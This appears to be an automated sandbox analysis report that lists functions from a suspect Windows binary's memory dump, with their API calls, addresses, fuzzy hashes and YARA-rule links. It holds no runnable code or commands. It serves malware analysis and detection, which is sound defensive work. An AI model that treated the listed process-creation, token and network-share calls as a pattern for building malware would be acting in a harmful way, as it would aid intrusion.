Instruction ID: cf752d676f9e660fadfe1d0f6a9f419f44e9ce042a2160ac713b05baa097f99c
Opcode Fuzzy Hash: fdc823332f35829d20a17a5d04b6b06a57e670184f71c1f0f050f06f11a5d9fe
Instruction Fuzzy Hash: 43114335A50059EBCB19EFA9C889DFE77BCEB45300F900465E901E7150C330AAA1CFA1

Function 003396F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00339719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0033972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00339741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0033975C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: af7d077fbb4c7ccc3370c87ce49fabd35ed95a20b02212ddb77ba5827c153a3b
Instruction ID: 8d8b5666d206136abe0d291ecde42b91ac6d572e6c081ac6542e47a9c9cf6aec
Opcode Fuzzy Hash: af7d077fbb4c7ccc3370c87ce49fabd35ed95a20b02212ddb77ba5827c153a3b
Instruction Fuzzy Hash: AE115A39900218FFEB11DF95CD84FADBBB8FB48710F204092E904B7290D6716E51DB90

Function 002E2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002E214F
GetStockObject.GDI32(00000011), ref: 002E2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 002E216D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: fcbfe6995e3ff2d29d89124a5dce24cdb854f13067785ce93348287e4e74d185
Instruction ID: 9cea96da8d0bb7fa74012d45770727ecbcc061c033b9ed7d5ca3599d5d726e04
Opcode Fuzzy Hash: fcbfe6995e3ff2d29d89124a5dce24cdb854f13067785ce93348287e4e74d185
Instruction Fuzzy Hash: C9118B72151289FFDB1A4F91DC84EEABB6DEF59754F440111FA0956011C7319DA0ABA0

Function 00341941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,003404EC,?,0034153F,?,00008000), ref: 0034195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,003404EC,?,0034153F,?,00008000), ref: 00341983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,003404EC,?,0034153F,?,00008000), ref: 0034198D
Sleep.KERNEL32(?,?,?,?,?,?,?,003404EC,?,0034153F,?,00008000), ref: 003419C0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 74851cc94963dd94058a6bdfc23933282377f2d3513c0afa2c5cb5de9e289322
Instruction ID: 2e9cce6721d086d2324c4f35018d57ebfb75d8398355fe678b8812fb5e2f458f
Opcode Fuzzy Hash: 74851cc94963dd94058a6bdfc23933282377f2d3513c0afa2c5cb5de9e289322
Instruction Fuzzy Hash: BB117C31C0091CDBCF169FA4D958AEEBBB8FF09711F414059E984BA240DB30A690CBD1

Function 0036E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0036E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 0036E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 0036E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 0036E234

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: f3521f2c09510f76252f90b27940280c804a1899f58ad36d7072b01e08e6f2af
Instruction ID: 169613e0e099d2f069fd981497cbb966d2e7c6ea12964f87057225721fd39028
Opcode Fuzzy Hash: f3521f2c09510f76252f90b27940280c804a1899f58ad36d7072b01e08e6f2af
Instruction Fuzzy Hash: 321161B9205308DBE3319F51DD0CF93BBBDEB00B04F10C959A62AD6454E7B0E558DBA1

Function 003171E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0031720B

Part of subcall function 003178F2: __fltout2.LIBCMT ref: 0031791B

__cftog_l.LIBCMT ref: 00317231
__cftoe_l.LIBCMT ref: 00317263

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 0c3bb3235f8c1481a0c9abf377352d05bf4625f12b3788cd19546b9d13fedf50
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: C3017B7208814ABBCF1B5E84CC018EE3F36BB1D340B198915FE1858131C336C9B2AB81

Function 0036B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0036B956
ScreenToClient.USER32(?,?), ref: 0036B96E
ScreenToClient.USER32(?,?), ref: 0036B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0036B9AD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 3138badb53eafd223272bc9e7eb2fa7390d9bc1412621fcd353c5b5e3efa7648
Instruction ID: aad6e3aea0cd981c7a3b843a16bd9944f7b457c41d6698cc1b7ba5f0c9f5b5fa
Opcode Fuzzy Hash: 3138badb53eafd223272bc9e7eb2fa7390d9bc1412621fcd353c5b5e3efa7648
Instruction Fuzzy Hash: E11143B9D00209EFDB51DFA8C984AEEFBF9FB48310F108156E914E3610D735AAA58F50

Function 0036BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036BCB6
_memset.LIBCMT ref: 0036BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,003A8F20,003A8F64), ref: 0036BCF4
CloseHandle.KERNEL32 ref: 0036BD06

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 22d6c92653abdbbdb2581f299cb93c8b856495f1f71acc80e3f1fdc51b09d09c
Instruction ID: 3bc56c1be1f988741806340f4348080926a205a67968e71195599b66c6162949
Opcode Fuzzy Hash: 22d6c92653abdbbdb2581f299cb93c8b856495f1f71acc80e3f1fdc51b09d09c
Instruction Fuzzy Hash: F6F082B6541305BFF3522B65BC05FBB3B5DEB0A750F000421BA08D91A2EB754C5087B8

Function 00347195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 003471A1

Part of subcall function 00347C7F: _memset.LIBCMT ref: 00347CB4

_memmove.LIBCMT ref: 003471C4
_memset.LIBCMT ref: 003471D1
LeaveCriticalSection.KERNEL32(?), ref: 003471E1

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: cba56c53a42474032aa6dd2c0e54c227d04c85806b7c77fca75c5370ca55b5d5
Instruction ID: 56a1b40ad44592426928e8a342a03379215e02e6612f42717fea085bae8bf951
Opcode Fuzzy Hash: cba56c53a42474032aa6dd2c0e54c227d04c85806b7c77fca75c5370ca55b5d5
Instruction Fuzzy Hash: 24F05E7A201100ABCF126F55ECC5B8ABB69EF45320F08C051FE0C9E26BCB31A951DBB4

Function 0036C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 002E16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002E1729
Part of subcall function 002E16CF: SelectObject.GDI32(?,00000000), ref: 002E1738
Part of subcall function 002E16CF: BeginPath.GDI32(?), ref: 002E174F
Part of subcall function 002E16CF: SelectObject.GDI32(?,00000000), ref: 002E1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0036C3E8
LineTo.GDI32(00000000,?,?), ref: 0036C3F5
EndPath.GDI32(00000000), ref: 0036C405
StrokePath.GDI32(00000000), ref: 0036C413

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: b6ca7e3fe5c3f05aaef2a3db25ec274422cd6138bb99fbf8cfd59dc166cc95c0
Instruction ID: b0030f900309e67b8c586ac4790bc27b67e50a35a2abf8ebcdb8b7f6fafad7c4
Opcode Fuzzy Hash: b6ca7e3fe5c3f05aaef2a3db25ec274422cd6138bb99fbf8cfd59dc166cc95c0
Instruction Fuzzy Hash: 07F05E32045259FADB236F56AC0EFEE3F5DAF06321F048000FA55611E187B855A5DFA9

Function 0033AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0033AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 0033AA82
GetCurrentThreadId.KERNEL32 ref: 0033AA89
AttachThreadInput.USER32(00000000), ref: 0033AA90

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 195b864629008ee6ae368e118424455fc509587b0c82aa4c485430a9fd20988a
Instruction ID: 7154a67db6f555dfe531bb5183ce1af9349426569aa58d1627683feb3bbed5f8
Opcode Fuzzy Hash: 195b864629008ee6ae368e118424455fc509587b0c82aa4c485430a9fd20988a
Instruction Fuzzy Hash: 29E03932545228BADB325FA29D0CEEB3F5CEF117A2F008015F50D84090C6B68590CBA0

Function 002E25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 002E260D
SetTextColor.GDI32(?,000000FF), ref: 002E2617
SetBkMode.GDI32(?,00000001), ref: 002E262C
GetStockObject.GDI32(00000005), ref: 002E2634
GetWindowDC.USER32(?,00000000), ref: 0031C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 0031C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 0031C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 0031C203
GetPixel.GDI32(00000000,?,?), ref: 0031C223
ReleaseDC.USER32(?,00000000), ref: 0031C22E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 1cb59070c72654ac89633cc9bdd0852b949771baea12469ea9767a3c4351e39f
Instruction ID: fefeb0e256a17d457757014af46f83f19a26b1d45c3db07f7de7cc270aebd900
Opcode Fuzzy Hash: 1cb59070c72654ac89633cc9bdd0852b949771baea12469ea9767a3c4351e39f
Instruction Fuzzy Hash: 7FE03931644284FBDF3A5FA8AC09BD83B19EB09332F448366FA6D880E187B149D0DB11

Function 00339330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00339339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00338F04), ref: 00339340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00338F04), ref: 0033934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00338F04), ref: 00339354

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: b19e21347415b2e390513ef71ce73bd3fa1112d987f5947dba9a8d1fca289976
Instruction ID: 58f6fc9ff2a00bd2561ffa20b12ad55beea6a68d018aa0ffa254aac7a78710ed
Opcode Fuzzy Hash: b19e21347415b2e390513ef71ce73bd3fa1112d987f5947dba9a8d1fca289976
Instruction Fuzzy Hash: 9EE04F76601211DBE7761FF15D4DB967B6CAF547A1F114818A249C9090E6749484C760

Function 00320679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00320679
GetDC.USER32(00000000), ref: 00320683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003206A3
ReleaseDC.USER32(?), ref: 003206C4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3783666ccda96dcc1850ce743dbda94dc8485c0809afe10e5e2b6af03b511846
Instruction ID: 7a872c7ba272ce9a9a549ee6a184c8b968e30f0ec006b6b1a621bd911b08edb5
Opcode Fuzzy Hash: 3783666ccda96dcc1850ce743dbda94dc8485c0809afe10e5e2b6af03b511846
Instruction Fuzzy Hash: 04E01A71800204EFCB169F61DC18A9D7BF9EB8C310F118009F85EE7210CBB885A19F50

Function 0032068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0032068D
GetDC.USER32(00000000), ref: 00320697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003206A3
ReleaseDC.USER32(?), ref: 003206C4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: a305d5cdc697a9a2d952c94863512c62b7a17eb3289f8d2967140c0cbd195d02
Instruction ID: bea38e31f87845818c4ee1d4f9401d5b77c9ad4288ff3f4dabb37100373c1a40
Opcode Fuzzy Hash: a305d5cdc697a9a2d952c94863512c62b7a17eb3289f8d2967140c0cbd195d02
Instruction Fuzzy Hash: F4E01A71800204EFCB269F61DC1869D7BF9EB8C310F108008F95DE7210CBB895918F50

Function 0034B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 002F436A: _wcscpy.LIBCMT ref: 002F438D

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

__wcsnicmp.LIBCMT ref: 0034B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0034B739

Strings

LPT, xrefs: 0034B66A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 3278be79f899e4b71173d6c6c1138c80338b5c44c5aa5b8285f0afd5d91ce746
Instruction ID: d60cba3acfb5599f14fd8b9f7f98577ea0873c3e7351ddbfdf67d635f55ac6af
Opcode Fuzzy Hash: 3278be79f899e4b71173d6c6c1138c80338b5c44c5aa5b8285f0afd5d91ce746
Instruction Fuzzy Hash: 00616C75A10219AFDB15EF94C891EAEFBF8EF48710F118059F546AB291DB70EE40CB90

Function 00327190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00327237
_memmove.LIBCMT ref: 00327291

Strings

#V/, xrefs: 0032730B, 0032CAB3, 0032CACF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove
String ID: #V/
API String ID: 4104443479-2189092384
Opcode ID: 96b2ec00b5105ee9b03a9ffcb979e7d635ffc377c7d5dc86cdcabb1cead84948
Instruction ID: 4783cf64d2a5d0d50c72908c1437736efe4e32c52f83622322ff1a9be7bbec58
Opcode Fuzzy Hash: 96b2ec00b5105ee9b03a9ffcb979e7d635ffc377c7d5dc86cdcabb1cead84948
Instruction Fuzzy Hash: D0519E70E00619DFCF25CFA8D880AAEBBB1FF44304F24452AE85AD7240E730A955CB91

Function 002EE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 002EE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 002EE037

Strings

@, xrefs: 002EE02B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 56008b75294e8bae8ee1dd8083d9c038901b4b0440a18053d6b9cc86257e2adf
Instruction ID: fa24b339d956b36bd9841be4310be466d2bb8281dcca3c838de7376b0421b4c8
Opcode Fuzzy Hash: 56008b75294e8bae8ee1dd8083d9c038901b4b0440a18053d6b9cc86257e2adf
Instruction Fuzzy Hash: 235138724187889BE321AF51EC86BABBBE8FB85314F91488DF1D8411A1DB709539CB16

Function 00368096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00368186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0036819B

Strings

', xrefs: 003680EF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
